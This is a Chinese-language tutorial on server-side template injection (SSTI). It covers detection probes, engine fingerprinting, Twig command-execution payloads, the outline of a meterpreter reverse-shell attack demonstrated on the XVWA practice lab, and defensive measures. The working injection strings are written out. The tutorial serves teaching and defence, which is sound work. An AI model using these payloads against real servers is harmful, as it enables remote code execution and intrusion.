通过SSTI漏洞获取服务器远程Shell
字数 848 2025-08-18 11:37:37
服务器端模板注入(SSTI)漏洞利用与防御指南
一、SSTI漏洞概述
服务器端模板注入(SSTI)是一种安全漏洞,允许攻击者通过注入恶意模板指令来执行任意代码。当应用程序将用户输入直接拼接到模板中而不进行适当处理时,就会产生此漏洞。
常见模板引擎
- Smarty
- Twig
- Jinja2
- FreeMarker
- Velocity
二、漏洞识别方法
-
观察模板语法特征:
{{变量}}(Twig/Jinja2){$变量}(Smarty)<%=变量%>(ERB)#变量#(Velocity)
-
探测方法:
- 注入数学运算表达式:
{{7*7}}或${{7*7}} - 如果返回49,则可能存在SSTI漏洞
- 注入数学运算表达式:
三、漏洞利用步骤
1. 确定模板引擎类型
使用特定探测语句识别模板引擎:
- Twig:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - Jinja2:
{{ ''.__class__.__mro__[1].__subclasses__() }}
2. 执行系统命令
以Twig为例:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
3. 获取远程Shell
- 生成PHP meterpreter payload
- 通过SSTI漏洞上传并执行payload
- 建立反向连接获取服务器shell
四、实战演示
- 使用XVWA靶场进行测试
- 注入探测语句:
${{1300+37}} - 确认返回1337后,尝试执行命令:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - 获取命令执行结果后,进一步获取远程shell
五、防御措施
-
输入验证与过滤:
- 对所有用户输入进行严格验证
- 过滤特殊字符和模板语法
-
沙箱环境:
- 限制模板执行环境
- 禁用危险函数和指令
-
其他措施:
- 使用最新版本的模板引擎
- 最小化模板引擎功能
- 实施内容安全策略(CSP)
六、参考资源
注意:本文仅用于技术研究和防御目的,切勿用于非法用途。